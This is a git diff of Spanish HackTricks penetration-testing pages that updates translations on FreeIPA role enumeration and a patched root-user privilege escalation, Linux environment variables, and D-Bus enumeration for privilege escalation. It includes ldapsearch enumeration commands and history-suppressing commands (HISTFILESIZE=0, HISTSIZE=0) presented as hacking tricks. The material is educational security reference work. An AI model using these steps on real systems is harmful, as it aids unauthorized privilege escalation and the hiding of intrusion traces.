El rol `Administrador de Usuarios` tiene los siguientes privilegios:
|
||||
|
||||
* **Administradores de Usuarios**
|
||||
* **Administradores de Grupos**
|
||||
* **Administradores de Usuarios en Etapa**
|
||||
* **Administradores de Usuarios de Etapa**
|
||||
|
||||
Podemos profundizar aún más y enumerar los **permisos** delegados a cada **privilegio**:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (189).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Como podemos ver, el rol de “**Administrador de Usuarios**” contiene bastantes **permisos** dentro del entorno. Comprender el concepto general y la estructura de **roles**, **privilegios** y **permisos** puede ser crítico para identificar caminos de ataque a lo largo de un entorno.
|
||||
Con los siguientes comandos es posible enumerar los roles, privilegios y permisos:
|
||||
```bash
|
||||
# Using ldap
|
||||
ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local"
|
||||
|
@ -250,33 +181,21 @@ En [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405
|
|||
|
||||
## Escalada de Privilegios
|
||||
|
||||
### ~~creación de usuario root~~
|
||||
### ~~Creación de usuario root~~
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si puedes **crear un nuevo usuario con el nombre `root`**, puedes suplantar su identidad y serás capaz de **conectarte por SSH a cualquier máquina como root.**
|
||||
Si puedes **crear un nuevo usuario con el nombre `root`**, puedes hacerse pasar por él y ser capaz de **SSH en cualquier máquina como root.**
|
||||
|
||||
**ESTO HA SIDO CORREGIDO.**
|
||||
**ESTO HA SIDO PARCHADO.**
|
||||
{% endhint %}
|
||||
|
||||
El privilegio "**Administradores de Usuarios**" es muy poderoso (como su nombre indica):
|
||||
Puedes consultar una explicación detallada en [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Con este privilegio viene una gran cantidad de poder para afectar a usuarios dentro del entorno. Usando este privilegio podemos **crear un nuevo usuario dentro del dominio FreeIPA llamado \_root**\_.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (158).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Una vez que el usuario está creado en el dominio, podemos **obtener un ticket para la cuenta con \_kinit**\_.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (178).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ahora podemos intentar **conectarnos por SSH** usando nuestra recién creada cuenta de dominio root.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (176).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Como se muestra, ¡esto **conduce al usuario a la cuenta local de root**! Así que simplemente creando un usuario de dominio para un usuario local, pudimos autenticarnos usando la cuenta _root@WESTEROS.LOCAL_ y obtener el **contexto de usuario de la cuenta local de root**_._
|
||||
|
||||
_Para más detalles sobre esta vulnerabilidad, consulta_ [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)\\
|
||||
# Referencias
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a)
|
||||
* [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1)
|
||||
* [https://www.youtube.com/watch?v=9dOu-7BTwPQ](https://www.youtube.com/watch?v=9dOu-7BTwPQ)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -284,10 +203,10 @@ _Para más detalles sobre esta vulnerabilidad, consulta_ [_https://posts.specter
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,20 @@
|
|||
# Variables de entorno de Linux
|
||||
# Variables de Entorno de Linux
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
## Variables globales
|
||||
## Variables Globales
|
||||
|
||||
Las variables globales **serán** heredadas por los **procesos hijos**.
|
||||
|
||||
|
@ -21,7 +23,7 @@ Puedes crear una variable global para tu sesión actual haciendo:
|
|||
export MYGLOBAL="hello world"
|
||||
echo $MYGLOBAL #Prints: hello world
|
||||
```
|
||||
Esta variable será accesible por las sesiones actuales y sus procesos hijos.
|
||||
Esta variable será accesible por tus sesiones actuales y sus procesos hijos.
|
||||
|
||||
Puedes **eliminar** una variable haciendo:
|
||||
```bash
|
||||
|
@ -35,7 +37,11 @@ LOCAL="my local"
|
|||
echo $LOCAL
|
||||
unset LOCAL
|
||||
```
|
||||
## Listar las variables actuales
|
||||
## Listar variables actuales
|
||||
|
||||
```bash
|
||||
printenv
|
||||
```
|
||||
```bash
|
||||
set
|
||||
env
|
||||
|
@ -45,60 +51,53 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
|
|||
```
|
||||
## Variables de entorno persistentes
|
||||
|
||||
#### **Archivos que afectan el comportamiento de todos los usuarios:**
|
||||
#### **Archivos que afectan el comportamiento de cada usuario:**
|
||||
|
||||
* _**/etc/bash.bashrc**_: Este archivo se lee cada vez que se inicia una shell interactiva (terminal normal) y todos los comandos especificados aquí se ejecutan.
|
||||
* _**/etc/bash.bashrc**_: Este archivo se lee cada vez que se inicia un shell interactivo (terminal normal) y se ejecutan todos los comandos especificados aquí.
|
||||
* _**/etc/profile y /etc/profile.d/\***_**:** Este archivo se lee cada vez que un usuario inicia sesión. Por lo tanto, todos los comandos ejecutados aquí se ejecutarán solo una vez en el momento del inicio de sesión del usuario.
|
||||
* \*\*Ejemplo: \*\*
|
||||
* \*\*Ejemplo: \*\*
|
||||
|
||||
`/etc/profile.d/somescript.sh`
|
||||
`/etc/profile.d/somescript.sh`
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
TEST=$(cat /var/somefile)
|
||||
export $TEST
|
||||
```
|
||||
|
||||
#### **Archivos que afectan el comportamiento de un usuario específico:**
|
||||
|
||||
* _**\~/.bashrc**_: Este archivo funciona de la misma manera que el archivo _/etc/bash.bashrc_, pero se ejecuta solo para un usuario específico. Si desea crear un entorno para usted, modifique o cree este archivo en su directorio de inicio.
|
||||
* _**\~/.profile, \~/.bash\_profile, \~/.bash\_login**_**:** Estos archivos son iguales a _/etc/profile_. La diferencia radica en la forma en que se ejecuta. Este archivo se ejecuta solo cuando un usuario en cuyo directorio de inicio existe este archivo inicia sesión.
|
||||
|
||||
**Extraído de:** [**aquí**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **y** [**aquí**](https://www.gnu.org/software/bash/manual/html\_node/Bash-Startup-Files.html)
|
||||
```bash
|
||||
#!/bin/bash
|
||||
TEST=$(cat /var/somefile)
|
||||
export $TEST
|
||||
```
|
||||
|
||||
## Variables comunes
|
||||
|
||||
De: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
Desde: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
|
||||
|
||||
* **DISPLAY** – la pantalla utilizada por **X**. Esta variable suele establecerse en **:0.0**, lo que significa la primera pantalla en la computadora actual.
|
||||
* **EDITOR** – el editor de texto preferido del usuario.
|
||||
* **HISTFILESIZE** – el número máximo de líneas contenidas en el archivo de historial.
|
||||
* \*\*HISTSIZE - \*\*Número de líneas agregadas al archivo de historial cuando el usuario finaliza su sesión.
|
||||
* **HOME** – su directorio de inicio.
|
||||
* **HISTSIZE** – Número de líneas añadidas al archivo de historial cuando el usuario finaliza su sesión.
|
||||
* **HOME** – tu directorio de inicio.
|
||||
* **HOSTNAME** – el nombre de host de la computadora.
|
||||
* **LANG** – su idioma actual.
|
||||
* **MAIL** – la ubicación del buzón de correo del usuario. Por lo general, **/var/spool/mail/USER**.
|
||||
* **MANPATH** – la lista de directorios para buscar páginas del manual.
|
||||
* **LANG** – tu idioma actual.
|
||||
* **MAIL** – la ubicación del buzón de correo del usuario. Normalmente **/var/spool/mail/USER**.
|
||||
* **MANPATH** – la lista de directorios donde buscar páginas de manual.
|
||||
* **OSTYPE** – el tipo de sistema operativo.
|
||||
* **PS1** – el indicador predeterminado en bash.
|
||||
* \*\*PATH - \*\*almacena la ruta de todos los directorios que contienen archivos binarios que desea ejecutar solo especificando el nombre del archivo y no por ruta relativa o absoluta.
|
||||
* **PATH** – almacena la ruta de todos los directorios que contienen archivos binarios que deseas ejecutar solo especificando el nombre del archivo y no la ruta relativa o absoluta.
|
||||
* **PWD** – el directorio de trabajo actual.
|
||||
* **SHELL** – la ruta a la shell de comando actual (por ejemplo, **/bin/bash**).
|
||||
* **SHELL** – la ruta al shell de comandos actual (por ejemplo, **/bin/bash**).
|
||||
* **TERM** – el tipo de terminal actual (por ejemplo, **xterm**).
|
||||
* **TZ** – su zona horaria.
|
||||
* **USER** – su nombre de usuario actual.
|
||||
* **TZ** – tu zona horaria.
|
||||
* **USER** – tu nombre de usuario actual.
|
||||
|
||||
## Variables interesantes para hacking
|
||||
|
||||
### **HISTFILESIZE**
|
||||
|
||||
Cambie el **valor de esta variable a 0**, para que cuando **finalice su sesión**, el **archivo de historial** (\~/.bash\_history) **se elimine**.
|
||||
Cambia el **valor de esta variable a 0**, de modo que cuando **finalices tu sesión**, el **archivo de historial** (\~/.bash\_history) **se eliminará**.
|
||||
```bash
|
||||
export HISTFILESIZE=0
|
||||
```
|
||||
### **HISTSIZE**
|
||||
|
||||
Cambia el **valor de esta variable a 0**, de esta manera cuando **finalices tu sesión** cualquier comando no será añadido al **archivo de historial** (\~/.bash\_history).
|
||||
Cambie el **valor de esta variable a 0**, de modo que cuando **finalice su sesión**, ningún comando se agregará al **archivo de historial** (\~/.bash\_history).
|
||||
```bash
|
||||
export HISTSIZE=0
|
||||
```
|
||||
|
@ -118,9 +117,9 @@ export SSL_CERT_DIR=/path/to/ca-certificates
|
|||
```
|
||||
### PS1
|
||||
|
||||
Cambia cómo se ve tu prompt.
|
||||
Cambia cómo se ve tu indicador.
|
||||
|
||||
He creado [**este**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) (basado en otro, lee el código).
|
||||
[**Este es un ejemplo**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
|
||||
|
||||
Root:
|
||||
|
||||
|
@ -137,15 +136,3 @@ Uno, dos y tres trabajos en segundo plano:
|
|||
Un trabajo en segundo plano, uno detenido y el último comando no finalizó correctamente:
|
||||
|
||||
![](<../.gitbook/assets/image (90).png>)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,88 +1,79 @@
|
|||
# Enumeración de D-Bus e inyección de comandos para la escalada de privilegios
|
||||
# Enumeración y Escalada de Privilegios con Inyección de Comandos en D-Bus
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
## **Enumeración de GUI**
|
||||
## **Enumeración GUI**
|
||||
|
||||
**(Esta información de enumeración fue tomada de** [**https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/**](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)**)**
|
||||
D-Bus se utiliza como mediador de comunicaciones entre procesos (IPC) en entornos de escritorio de Ubuntu. En Ubuntu, se observa la operación concurrente de varios buses de mensajes: el bus del sistema, utilizado principalmente por **servicios privilegiados para exponer servicios relevantes en todo el sistema**, y un bus de sesión para cada usuario conectado, exponiendo servicios relevantes solo para ese usuario específico. El enfoque aquí es principalmente en el bus del sistema debido a su asociación con servicios que se ejecutan con privilegios más altos (por ejemplo, root), ya que nuestro objetivo es elevar privilegios. Se destaca que la arquitectura de D-Bus emplea un 'enrutador' por bus de sesión, que es responsable de redirigir los mensajes de los clientes a los servicios apropiados según la dirección especificada por los clientes para el servicio con el que desean comunicarse.
|
||||
|
||||
Ubuntu desktop utiliza D-Bus como su mediador de comunicaciones entre procesos (IPC). En Ubuntu, hay varios buses de mensajes que se ejecutan simultáneamente: un bus del sistema, que es utilizado principalmente por **servicios privilegiados para exponer servicios relevantes en todo el sistema**, y un bus de sesión para cada usuario que ha iniciado sesión, que expone servicios que solo son relevantes para ese usuario específico. Dado que intentaremos elevar nuestros privilegios, nos centraremos principalmente en el bus del sistema, ya que los servicios allí tienden a ejecutarse con mayores privilegios (es decir, root). Tenga en cuenta que la arquitectura de D-Bus utiliza un "enrutador" por bus de sesión, que redirige los mensajes del cliente a los servicios relevantes con los que intentan interactuar. Los clientes deben especificar la dirección del servicio al que desean enviar mensajes.
|
||||
Los servicios en D-Bus están definidos por los **objetos** e **interfaces** que exponen. Los objetos pueden asemejarse a instancias de clase en lenguajes de programación orientados a objetos estándar, con cada instancia identificada de manera única por una **ruta de objeto**. Esta ruta, similar a una ruta de sistema de archivos, identifica de manera única cada objeto expuesto por el servicio. Una interfaz clave para fines de investigación es la interfaz **org.freedesktop.DBus.Introspectable**, que presenta un método singular, Introspect. Este método devuelve una representación XML de los métodos admitidos por el objeto, señales y propiedades, centrándose aquí en los métodos y omitiendo propiedades y señales.
|
||||
|
||||
Cada servicio está definido por los **objetos** e **interfaces** que expone. Podemos pensar en los objetos como instancias de clases en lenguajes de programación orientados a objetos estándar. Cada instancia única se identifica por su **ruta de objeto** - una cadena que se asemeja a una ruta del sistema de archivos que identifica de manera única cada objeto que el servicio expone. Una interfaz estándar que ayudará con nuestra investigación es la interfaz **org.freedesktop.DBus.Introspectable**. Contiene un solo método, Introspect, que devuelve una representación XML de los métodos, señales y propiedades admitidos por el objeto. Esta publicación se centra en los métodos e ignora las propiedades y señales.
|
||||
|
||||
Usé dos herramientas para comunicarme con la interfaz D-Bus: una herramienta de línea de comandos llamada **gdbus**, que permite llamar fácilmente a los métodos expuestos por D-Bus en scripts, y [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), una herramienta GUI basada en Python que ayuda a enumerar los servicios disponibles en cada bus y a ver qué objetos contiene cada servicio.
|
||||
Para la comunicación con la interfaz de D-Bus, se emplearon dos herramientas: una herramienta de línea de comandos llamada **gdbus** para invocar fácilmente los métodos expuestos por D-Bus en scripts, y [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), una herramienta GUI basada en Python diseñada para enumerar los servicios disponibles en cada bus y mostrar los objetos contenidos en cada servicio.
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png)
|
||||
![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png)
|
||||
|
||||
_Figura 1. Ventana principal de D-Feet_
|
||||
![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png)
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png)
|
||||
|
||||
_Figura 2. Ventana de interfaz de D-Feet_
|
||||
En la primera imagen se muestran los servicios registrados con el bus del sistema D-Bus, con **org.debin.apt** destacado específicamente después de seleccionar el botón Bus del Sistema. D-Feet realiza consultas a este servicio para objetos, mostrando interfaces, métodos, propiedades y señales para los objetos elegidos, como se ve en la segunda imagen. También se detalla la firma de cada método.
|
||||
|
||||
En el panel izquierdo de la Figura 1 se pueden ver todos los diferentes servicios que se han registrado con el sistema de bus del demonio D-Bus (note el botón Seleccionar bus del sistema en la parte superior). Seleccioné el servicio **org.debin.apt**, y D-Feet automáticamente **consultó el servicio para obtener todos los objetos disponibles**. Una vez que seleccioné un objeto específico, se listan todos los interfaces, con sus respectivos métodos, propiedades y señales, como se ve en la Figura 2. Note que también obtenemos la firma de cada **método IPC expuesto**.
|
||||
Una característica notable es la visualización del **ID de proceso (pid)** y la **línea de comandos** del servicio, útil para confirmar si el servicio se ejecuta con privilegios elevados, importante para la relevancia de la investigación.
|
||||
|
||||
También podemos ver el **pid del proceso** que aloja cada servicio, así como su **línea de comandos**. Esta es una característica muy útil, ya que podemos validar que el servicio objetivo que estamos inspeccionando se ejecuta con privilegios más altos. Algunos servicios en el bus del sistema no se ejecutan como root, y por lo tanto son menos interesantes de investigar.
|
||||
**D-Feet también permite la invocación de métodos**: los usuarios pueden ingresar expresiones en Python como parámetros, que D-Feet convierte en tipos de D-Bus antes de pasarlos al servicio.
|
||||
|
||||
D-Feet también permite llamar a los diversos métodos. En la pantalla de entrada del método podemos especificar una lista de expresiones de Python, delimitadas por comas, que se interpretarán como los parámetros de la función invocada, como se muestra en la Figura 3. Los tipos de Python se empaquetan en tipos de D-Bus y se pasan al servicio.
|
||||
Sin embargo, hay que tener en cuenta que **algunos métodos requieren autenticación** antes de permitirnos invocarlos. Ignoraremos estos métodos, ya que nuestro objetivo es elevar nuestros privilegios sin credenciales en primer lugar.
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-23.png)
|
||||
También hay que tener en cuenta que algunos de los servicios consultan a otro servicio D-Bus llamado org.freedeskto.PolicyKit1 para determinar si un usuario debe poder realizar ciertas acciones o no.
|
||||
|
||||
_Figura 3. Llamando a los métodos de D-Bus a través de D-Feet_
|
||||
## **Enumeración de Línea de Comandos**
|
||||
|
||||
Algunos métodos requieren autenticación antes de permitirnos invocarlos. Ignoraremos estos métodos, ya que nuestro objetivo es elevar nuestros privilegios sin credenciales en primer lugar.
|
||||
|
||||
![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-24.png)
|
||||
|
||||
_Figura 4. Un método que requiere autorización_
|
||||
|
||||
También tenga en cuenta que algunos de los servicios consultan otro servicio de D-Bus llamado org.freedeskto.PolicyKit1 para determinar si un usuario debe o no estar autorizado para realizar ciertas acciones.
|
||||
|
||||
## **Enumeración de línea de comandos**
|
||||
|
||||
### Listar objetos de servicio
|
||||
### Listar Objetos de Servicio
|
||||
|
||||
Es posible listar las interfaces de D-Bus abiertas con:
|
||||
```bash
|
||||
busctl list #List D-Bus interfaces
|
||||
|
||||
NAME PID PROCESS USER CONNECTION UNIT SE
|
||||
:1.0 1 systemd root :1.0 init.scope -
|
||||
:1.0 1 systemd root :1.0 init.scope -
|
||||
:1.1345 12817 busctl qtc :1.1345 session-729.scope 72
|
||||
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
|
||||
:1.3 2609 dbus-server root :1.3 dbus-server.service -
|
||||
:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
|
||||
:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
|
||||
:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… -
|
||||
:1.820 6583 systemd qtc :1.820 user@1000.service -
|
||||
com.ubuntu.SoftwareProperties - - - (activatable) - -
|
||||
fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
|
||||
fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
|
||||
htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
|
||||
org.bluez - - - (activatable) - -
|
||||
org.freedesktop.DBus 1 systemd root - init.scope -
|
||||
org.freedesktop.PackageKit - - - (activatable) - -
|
||||
org.freedesktop.PolicyKit1 - - - (activatable) - -
|
||||
org.freedesktop.hostname1 - - - (activatable) - -
|
||||
org.freedesktop.locale1 - - - (activatable) - -
|
||||
:1.2 1576 systemd-timesyn systemd-timesync :1.2 systemd-timesyncd.service -
|
||||
:1.3 2609 dbus-server root :1.3 dbus-server.service -
|
||||
:1.4 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
|
||||
:1.6 2612 systemd-logind root :1.6 systemd-logind.service -
|
||||
:1.8 3087 unattended-upgr root :1.8 unattended-upgrades.serv… -
|
||||
:1.820 6583 systemd qtc :1.820 user@1000.service -
|
||||
com.ubuntu.SoftwareProperties - - - (activatable) - -
|
||||
fi.epitest.hostap.WPASupplicant 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
|
||||
fi.w1.wpa_supplicant1 2606 wpa_supplicant root :1.4 wpa_supplicant.service -
|
||||
htb.oouch.Block 2609 dbus-server root :1.3 dbus-server.service -
|
||||
org.bluez - - - (activatable) - -
|
||||
org.freedesktop.DBus 1 systemd root - init.scope -
|
||||
org.freedesktop.PackageKit - - - (activatable) - -
|
||||
org.freedesktop.PolicyKit1 - - - (activatable) - -
|
||||
org.freedesktop.hostname1 - - - (activatable) - -
|
||||
org.freedesktop.locale1 - - - (activatable) - -
|
||||
```
|
||||
#### Conexiones
|
